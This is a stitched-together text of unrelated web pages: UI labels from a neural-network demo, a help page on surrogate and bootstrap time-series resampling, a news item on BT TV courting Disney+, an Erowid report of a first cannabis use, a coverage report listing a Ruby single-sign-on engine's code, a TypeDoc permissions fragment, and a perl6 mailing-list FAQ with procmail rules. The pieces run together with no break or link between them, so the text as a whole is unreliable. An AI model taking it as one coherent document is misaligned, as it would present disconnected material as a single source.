BATCH SIZE
0.05
0.1
0.4
1
EPOCHS
10
20
40
HIDDEN UNITS
10
100
200
No webcam found.
You will need a webcam device to use this demo.


|
Resampled Time Series
|
|
| Multiple time series
can be selected and for each selected time series a number of resampled
time series are generated. Resampled time series are time series with
samples formed randomly, but possibly under given conditions, on the basis of
the original time series. They can be formed by bootstrapping or by
randomization (or permutation) of the original time series, the latter
referred to as surrogate time series in the literature of nonlinear
analysis of time series.
A number of algorithms generating resampled time series can be chosen as explained below. Each selected resampling algorithm generates the same number of resampled time series for each time series. |
|
|
Select one or more time series ... |
|
|
Multiple time series names can be selected from this list. This can be done by standard use of the mouse: a click on the first name and Shift^click on the last name selects all names between the first and the last name; a click on the first name and subsequent Ctrl^clicks on other names select these names including the first name; Ctrl^a selects the whole list. |
|
|
Random Permutation (RP) |
|
|
Simple random permutation or so-called shuffling, preserving the marginal distribution of the original time series but destroying any possible correlations in the time series. The RP surrogate time series can be used for the test of independence of a time series. |
|
|
Fourier Transform (FT) |
|
|
Surrogate data are generated that preserve the linear correlation structure of the original time series but are otherwise random. To achieve this, the original time series if Fourier transformed, the phases are randomized, and the resulting Fourier series is transformed back to the time domain. The generated time series possess the original power spectrum (up to some inaccuracy due to the mismatch of data end-points, which is typically insignificant). Note that the marginal distribution of the FT surrogate time series is always Gaussian and may differ in general from the original marginal distribution. The FT surrogate time series can be used to test the null hypothesis that the time series is generated by a Gaussian process. The original paper for this surrogate type is Theiler J., Eubank S., Longtin A. and Galdrikian, B. (1992), Testing for Nonlinearity in Time Series: the Method of Surrogate Data, Physica D, 58, 77-94. |
|
|
Amplitude Adjusted Fourier Transform (AAFT) |
|
|
Surrogate data are generated that are supposed to preserve the linear correlation structure of the original time series and the marginal distribution, and be otherwise random. To achieve this, the original time series is first rank ordered matching the ranks of a Gaussian white noise time series, the FT surrogate of this time series is taken and the derived time series is rank ordered matching the ranks of the original time series. The generated time series possess the original marginal distribution exactly and the original power spectrum approximately. Note that the linear structure of the AAFT surrogate time series may differ significantly from the original linear structure at cases. The AAFT surrogate time series can be used to test the null hypothesis that the time series is generated by a Gaussian process undergoing a monotonic static transform. The algorithm is according to Theiler J., Eubank S., Longtin A. and Galdrikian B. (1992), Testing for Nonlinearity in Time Series: the Method of Surrogate Data, Physica D, 58, 77-94. Refer also to the Appendix of Theiler J. et al (1992), Using Surrogate Data to Detect Nonlinearity in Time Series", in Nonlinear Modeling and Forecasting, edited by Casdagli M. and Eubank S., Addison-Wesley, Reading, MA, 163-188. |
|
|
Iterated Amplitude Adjusted Fourier Transform (IAAFT) |
|
|
Surrogate data are generated that are supposed to preserve the linear correlation structure of the original time series and the marginal distribution, and be otherwise random. The IAAFT constitutes an improvement of the AAFT. A two stage process is applied iteratively starting with white noise, where at the first stage the Fourier amplitudes are replaced by the original Fourier amplitudes and at the second stage the derived time series is reordered to the original marginal distribution until convergence of both power spectrum and marginal distribution is reached. The algorithm terminates if complete convergence (same reordering in two consecutive steps) is succeeded or if a maximum number of iterations is reached. An IAAFT surrogate time series matches the original power spectrum, preserves the exact original marginal distribution and is otherwise random. The linear structure of the IAAFT surrogate time series exhibits little variance and may differ only slightly from the original linear structure but at cases this difference may be significant favoring rejection of the test. The IAAFT surrogate time series can be used to test the null hypothesis that the time series is generated by a Gaussian process undergoing a static transform (not only monotonic). The IAAFT algorithm is proposed in Schreiber T. and Schmitz A. (1996), Improved Surrogate Data for Nonlinearity Tests, Physical Review Letters, Vol 77, 635-638. |
|
|
Statically Transformed Autoregressive Process (STAP) |
|
|
Surrogate data are generated that are supposed to preserve the linear correlation structure of the original time series and the marginal distribution, and be otherwise random. STAP generates stochastic surrogates for a given time series as statically transformed realizations of a Gaussian (autoregressive) process. The generated surrogate time series have exactly the same marginal distribution and approximately the same autocorrelation as those of the original time series. The linear structure (power spectrum or autocorrelation) of the STAP surrogate time series exhibits larger variance than IAAFT, but no significant difference from the original autocorrelation. The STAP surrogate time series can be used to test the null hypothesis that the time series is generated by a Gaussian process undergoing a static transform (not only monotonic). In the STAP algorithm the following parameters are used: - pol : the degree of the polynomial to approximate the sample transform from the Gaussian marginal distribution to the sample marginal distribution. The default value is 5 and it should work well for all practical purposes. - arm : the order of the AR model to generate the Gaussian time series (which is then reordered to obtain the STAP surrogates). The range of delays for which the original autocorrelation has to be matched determines the 'arm' parameter, so if the match of autocorrelation is wanted for a long range of delays a large 'arm' should be given. The STAP algorithm is proposed in Kugiumtzis D (2002), Surrogate Data Test for Nonlinearity using Statically Transformed Autoregressive Process, Physical Review E, Vol 66, 025201. |
|
|
Autoregressive Model Residual Bootstrap (AMRB) |
|
|
Bootstrap data are generated that are supposed to preserve the linear correlation structure of the original time series and the marginal distribution, and be otherwise random. AMRB is a model-based (or residual-based) bootstrap approach that uses a fitted AR model and resamples with replacement from the model residuals to form the bootstrap time series. The generated bootstrap time series have approximately the same marginal distribution and autocorrelation as those of the original time series, but deviations in both can be at cases significant. The AMRB time series can be used to test the null hypothesis that the time series is generated by a linear autoregressive process. In the AMRB algorithm the following parameter is used: - arm : the order of the AR model to fit to the original time series and form the residuals. The AMRB algorithm is described in Politis D.N. (2003), The Impact of Bootstrap Methods on Time Series Analysis, Statistical Science, Vol 18, No 2, pp 219-230 Hjellvik V. and Tjøstheim D. (1995), Nonparametric Tests of Linearity for Time Series, Biometrika, Vol 82, No 2, pp 351-368 |
|
|
Number of resampled time series |
|
|
The number of resampled time series to generate for each selected type and for each selected time series. |
|
|
Running Messages |
|
|
The progress in the generation of the resampled time series for the selected time series is displayed. |
|
| OK |
|
| By pressing this button, the generation of the selected types of resampled time series for the selected time series starts and when it is completed the window is closed. | |
| Cancel |
|
| The window is closed without generating any resampled time series. | |
| Help |
|
| This page is displayed. |


BT TV amps up streaming surge with Disney approach
by Edward ThicknesseBT has approached Disney about adding the iconic company’s new streaming platform, Disney+, to its television service.
According to the Sunday Times the move is part of BT’s strategy of making BT TV a streaming “super-aggregator”, where viewers can access the majority of on-demand platforms in a single place.
Read more: City reacts with shock to Labour’s plans to part-nationalise BT
Marc Allera, head of BT’s consumer division, said it was in talks with Disney and others about new services for BT TV.
“Because we have a connection in every other home in the UK, we can provide significant scale and reach for their services,” he told the Sunday Times.
The launch date of Disney+ in the UK has been set for the end of March. The platform will host a combination of animated classics and hit franchises such as Star Wars and Marvel.
Earlier this month BT fended off improved bids from Sky and ITV to retain the rights to the Champions League for another three seasons from 2021.
The new deal is reported to be in the region of £1.2bn, matching the figure it paid for its 2018-21 rights.
Read more: BT shares fall as Virgin Media opts for Vodafone
BT already hosts Netflix and Amazon Prime Video through the Youview platform, a joint venture with fellow telecoms firm TalkTalk which provides access to BBC iPlayer, ITV Hub, All 4 and My 5.
In addition, the firm sells Apple’s set-top box in conjunction with mobile business EE, which raises the possibility of adding the Apple TV platform to BT’s growing roster.


It was a rainy sunday when my family was over. I had made plans the day before to go over my boyfriend's house to have 'fun'. I'd knew for a while I wanted to try pot, but he never had any when I was over. But finally, after long anticipation, he had some for me. BUT, with my luck, my family drops in for an unexpected lunch. Aggravated, I sat through the lunch watching the clocking waiting for it to strike ONE so I could head over my boyfriend's house. When the time did come, I was off to his house. The moment I arrived, he rushed me to his room excited that I was going to try pot for the first time.
For little under a month then he had been smoking weed and now it was my turn.   He took a few hits off the bong before I was ready to do my own. I leaned over and inhaled deeply, much farther than I possibly thought I could.  I started gagging on the air. I felt like my lungs were going to jump into my throat. Of course, my boyfriend was laughing hysterically, and still does to this day (I guess it is funny when looking back).
When the coughing subsided, my throat felt like it was burning! I could feel every muscle resting within my neck catching fire. My boyfriend wanted me to take another hit, but I told him not without a cup of water. We walked downstairs (note that my boyfriend needed the wall when I could walk down without the ralling). In the kitchen, I grabbed my cup of water and we raced back upstairs. I took a few more hits off of the bong when my boyfriend took out the bowl. He claimed it was harsher than the bong, but I think the bong was much stronger (but I guess I thought it was because it was my first time). I only took two hits off of the bowl while my boyfriend took so many that I lost count.
Then the effects started happening. When I was watching my boyfriend take hits off of the bowl, I could hear some children playing outside, but the noises came from behind my boyfriend (note that he was sitting away from the window). When I sat down, I stumbled to the ground accidently putting my hand in the cup of water I had. Eventually, when I was leaning against the bed, out of the corner of my eye, I could see something move, something that shouldn't move. It was a small statue sitting in the corner of my boyfriend's room that seemed to be holding some sort of disc. Suddenly, it started moving around, as if changing positions! When I saw it, I got nervous, afraid I might see other things move. But nothing else that day moved out and about.
Later on, we decided to go for a walk around the neighborhood. We traveled to WAWA where we bought some food for his munchies. I wasn't hungry so I didn't eat much. But he ate through 3 bags of candy. We returned back to his house to watch South Park the movie.
I didn't really feel anything mind altering my first time but my boyfriend told me that's what is to be expected the first time. The little I felt though, felt nice.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


All Files
(91.82%
covered at
2.81
hits/line)
9 files in total.
159 relevant lines.
146 lines covered and
13 lines missed
Controllers
(100.0%
covered at
5.5
hits/line)
1 files in total.
13 relevant lines.
13 lines covered and
0 lines missed
Models
(100.0%
covered at
0.0
hits/line)
0 files in total.
0.0 relevant lines.
0.0 lines covered and
0.0 lines missed
| File |
% covered |
Lines |
Relevant Lines |
Lines covered |
Lines missed |
Avg. Hits / Line |
Mailers
(100.0%
covered at
0.0
hits/line)
0 files in total.
0.0 relevant lines.
0.0 lines covered and
0.0 lines missed
| File |
% covered |
Lines |
Relevant Lines |
Lines covered |
Lines missed |
Avg. Hits / Line |
Helpers
(100.0%
covered at
1.0
hits/line)
1 files in total.
2 relevant lines.
2 lines covered and
0 lines missed
Libraries
(90.97%
covered at
2.69
hits/line)
7 files in total.
144 relevant lines.
131 lines covered and
13 lines missed
Plugins
(100.0%
covered at
0.0
hits/line)
0 files in total.
0.0 relevant lines.
0.0 lines covered and
0.0 lines missed
| File |
% covered |
Lines |
Relevant Lines |
Lines covered |
Lines missed |
Avg. Hits / Line |
-
1
module Coca
-
1
class AuthenticationsController < RocketPants::Base
-
1
include Devise::Controllers::Helpers
-
-
1
before_filter :require_valid_servant!
-
1
before_filter :allow_params_authentication!
-
-
1
def show
-
16
scope = params[:scope].to_sym
-
16
if user = warden.authenticate(:scope => scope)
-
14
expose user
-
else
-
2
head :unauthorized
-
end
-
end
-
-
1
protected
-
-
1
def require_valid_servant!
-
16
Coca.valid_servant?(request.remote_ip, params[:key])
-
end
-
-
end
-
end
-
1
module Coca
-
1
module ApplicationHelper
-
end
-
end
-
1
require "coca/engine"
-
1
require 'coca/delegate'
-
1
require 'coca/auth_cookie'
-
1
require 'devise/models/cocable'
-
1
require 'devise/strategies/cocable'
-
-
1
Warden::Manager.after_set_user do |user, warden, options|
-
10
Coca::AuthCookie.new(warden.cookies, options[:scope]).set(user)
-
end
-
-
1
Warden::Manager.before_logout do |user, warden, options|
-
Coca::AuthCookie.new(warden.cookies, options[:scope]).unset
-
end
-
-
1
module Coca
-
1
mattr_accessor :masters,
-
:servants,
-
:cookie_domain,
-
:check_source,
-
:require_https,
-
:propagate_updates,
-
:token_ttl,
-
:secret,
-
:debug
-
-
1
@@masters = []
-
1
@@servants = []
-
1
@@cookie_domain = :all
-
1
@@check_source = true
-
1
@@require_https = true
-
1
@@propagate_updates = false
-
1
@@token_ttl = 1800
-
1
@@secret = "Unset"
-
1
@@debug = true
-
-
1
class << self
-
1
def add_master(name, &block)
-
1
@@masters.push Coca::Delegate.new(name, &block)
-
end
-
-
1
def add_servant(name, &block)
-
1
@@servants.push Coca::Delegate.new(name, &block)
-
end
-
-
1
def valid_servant?(referer, key)
-
22
servants.find { |servant| servant.valid_referer?(referer) && valid_secret?(key) }
-
end
-
-
1
def valid_master?(referer, key)
-
masters.find { |master| master.valid_referer?(referer) && valid_secret?(key) }
-
end
-
-
1
def valid_secret?(key)
-
!!key && !key.blank? && key == Coca.secret
-
end
-
end
-
end
-
-
1
Devise.add_module :cocable,
-
:route => :session,
-
:strategy => true,
-
:controller => :sessions
-
1
require 'signed_json'
-
-
# Based on the same class in devise-login-cookie by pda
-
# https://github.com/pda/devise-login-cookie
-
-
1
module Coca
-
-
1
class AuthCookie
-
-
1
def initialize(cookies, scope)
-
13
@cookies = cookies
-
13
@scope = scope
-
end
-
-
# Sets the cookie, referencing the given resource.id (e.g. User)
-
1
def set(resource)
-
10
@cookies[cookie_name] = cookie_options.merge(:value => encoded_value(resource))
-
end
-
-
# Unsets the cookie via the HTTP response.
-
1
def unset
-
@cookies.delete cookie_name, cookie_options
-
end
-
-
1
def token
-
value[0]
-
end
-
-
# The Time at which the cookie was created.
-
1
def created_at
-
valid? ? Time.at(value[1]) : nil
-
end
-
-
# Whether the cookie appears valid.
-
1
def valid?
-
3
present? && value.all?
-
end
-
-
1
def present?
-
3
@cookies[cookie_name].present?
-
end
-
-
# Whether the cookie was set since the given Time
-
1
def set_since?(time)
-
created_at && created_at >= time
-
end
-
-
1
private
-
-
1
def value
-
begin
-
@value = signer.decode @cookies[cookie_name]
-
rescue SignedJson::Error
-
[nil, nil]
-
end
-
end
-
-
1
def cookie_name
-
13
:"coca_#{@scope}_token"
-
end
-
-
1
def encoded_value(resource)
-
10
signer.encode [ resource.authentication_token, Time.now.to_i ]
-
end
-
-
1
def cookie_options
-
10
@session_options ||= Rails.configuration.session_options
-
10
@session_options.slice(:path, :secure, :httponly).merge(:domain => Coca.cookie_domain)
-
end
-
-
1
def signer
-
10
@signer ||= SignedJson::Signer.new(Coca.secret)
-
end
-
-
end
-
-
end
-
1
require 'resolv'
-
1
require 'httparty'
-
-
1
module Coca
-
1
class Delegate
-
1
include HTTParty
-
1
attr_writer :name, :host, :port, :ttl, :protocol
-
-
1
def initialize(name='')
-
13
@name = name
-
13
yield self if block_given?
-
end
-
-
1
def ttl
-
1
@ttl ||= Coca.token_ttl
-
end
-
-
1
def host
-
18
@host ||= "localhost"
-
end
-
-
1
def port
-
16
@port
-
end
-
-
1
def protocol
-
15
@protocol ||= 'https'
-
end
-
-
1
def base_uri
-
[host, port].compact.join(':')
-
end
-
-
1
def path
-
15
@path ||= "/coca/1/check"
-
end
-
-
1
def ip_address
-
14
@ip ||= Resolv.new.getaddress(host)
-
end
-
-
1
def valid_referer?(referer)
-
13
!!referer && !referer.blank? && referer == ip_address
-
end
-
-
1
def host_url_with_port
-
14
hup = "#{protocol}://#{host}"
-
14
hup << ":#{port}" if port
-
14
hup
-
end
-
-
1
def url
-
14
URI.join(host_url_with_port, path).to_s
-
end
-
-
1
def authenticate(scope, credentials)
-
10
response = HTTParty.get url, :scope => scope, :"#{scope}" => credentials
-
10
response.body if response.code != 401
-
end
-
-
end
-
end
-
1
require 'devise'
-
1
require 'rocket_pants'
-
-
1
module Coca
-
1
class Engine < ::Rails::Engine
-
1
isolate_namespace Coca
-
-
1
config.generators do |g|
-
1
g.test_framework :rspec, :fixture => false
-
1
g.fixture_replacement :factory_girl, :dir => 'spec/factories'
-
1
g.assets false
-
1
g.helper false
-
end
-
-
end
-
end
-
1
module Coca
-
1
VERSION = "0.0.1"
-
end
-
1
require 'devise/strategies/cocable'
-
-
1
module Devise
-
1
module Models
-
1
module Cocable
-
1
extend ActiveSupport::Concern
-
-
-
end
-
end
-
end
-
1
require 'devise/strategies/authenticatable'
-
-
1
module Devise
-
1
module Strategies
-
-
# The cocable strategy will look for a user in two places:
-
# in a domain cookie set by one of our peers and verified by an upstream app
-
# or in credentials supplied to us and verified by an upstream app
-
#
-
# (If the credentials matched locally, we wouldn't usually get to this strategy)
-
-
1
class Cocable < Authenticatable
-
1
def valid?
-
11
valid_for_params_auth? || cookie.valid?
-
end
-
-
1
def authenticate!
-
8
resource = nil
-
8
response = nil
-
-
8
if authentication_hash
-
8
response = delegate(authentication_hash)
-
else
-
response = delegate({:auth_token => cookie.token})
-
end
-
-
8
if response
-
4
resource = mapping.to.where(:uid => response[:uid]).first_or_create
-
4
resource.update_attributes(response.except(:uid))
-
end
-
-
8
success!(resource) if resource# && validate(resource)
-
end
-
-
1
def delegate(credentials)
-
8
response = nil
-
8
Coca.masters.each do |master|
-
8
response = master.authenticate(scope, credentials)
-
8
break if response
-
end
-
8
response
-
end
-
-
1
private
-
# AuthCookie takes care of the naming and signing of cookies for each warden scope.
-
# All we need is the token contained in the cookie for this scope, if there is one.
-
#
-
1
def cookie
-
3
@cookie ||= Coca::AuthCookie.new(cookies, scope)
-
end
-
-
end
-
end
-
end
-
-
1
Warden::Strategies.add(:cocable, Devise::Strategies::Cocable)


Returns current user permissions.
Returns a boolean indicating whether the current user is allowed to upload files.
This is convenience method that checks whether a user has a create
operation permission
on sys$FileDescriptor
entity and cuba.restApi.fileUpload.enabled
specific permission.
Returns a boolean indicating whether a given entity attribute permission is granted to the current user.
Returns a boolean indicating whether a given entity operation permission is granted to the current user.
Returns a boolean indicating whether a given specific permission is granted to the current user.
Generated using TypeDoc
Indicates whether the permissions data has been successfully loaded from backend. NOTE: will always return
true
if the REST API version doesn't support effective permissions (REST API version < 7.2).


[% page.title = "perl6 Mailing List FAQ" %]
Subscription problems
The mailinglist manager is ignoring me!?
You need to fix your envelope sender address. Mailers *must* send
their bounces to the envelope sender's address. If yours is not
correct, you will never get bounces.
Why don't you just use the From: address?
You realize, of course, that by having a bogus envelope sender, you're
never going to see any bounces for the email you send out. How do you
know it didn't bounce?
If you really can't fix your envelope address you can use the extended
syntax to specify your address, for example<EMAIL_ADDRESS>if your address is<EMAIL_ADDRESS>Perl6 lists
I want to get all the mails from all the perl6 mailinglists
... and subscribing everytime a new list is created is a pain.
That is what the perl6-all meta mailinglist is for. Send mail to<EMAIL_ADDRESS>to subscribe. You should be aware that this list gets A LOT of mail.
Is perl6-all eliminating duplicates?
No.
The idea is that you get the unaltered feed so you can get all messages in the right folder and do duplicate elimination yourself. If you can't do duplicate elimination then you probably can't handle the amount of mail you get from perl6-all anyway. :-)
If you use procmail you can put the following rule into your .procmailrc, and you will nuke most of those nasty dupes right on delivery.
:0 Wh: .msgid.lock
| formail -D 8192 .msgid.cache
How do I filter the perl6- mailinglists to different folders?
Tired of adding a new .procmailrc rule everytime we add a new list?
Try putting this into your .procmailrc:
:0:
* ^Mailing-List: contact<EMAIL_ADDRESS>run by ezmlm
* ^X-Mailing-List-Name: \/.*
perl/$MATCH
I have another question ...
Send it to me at ask@perl.org.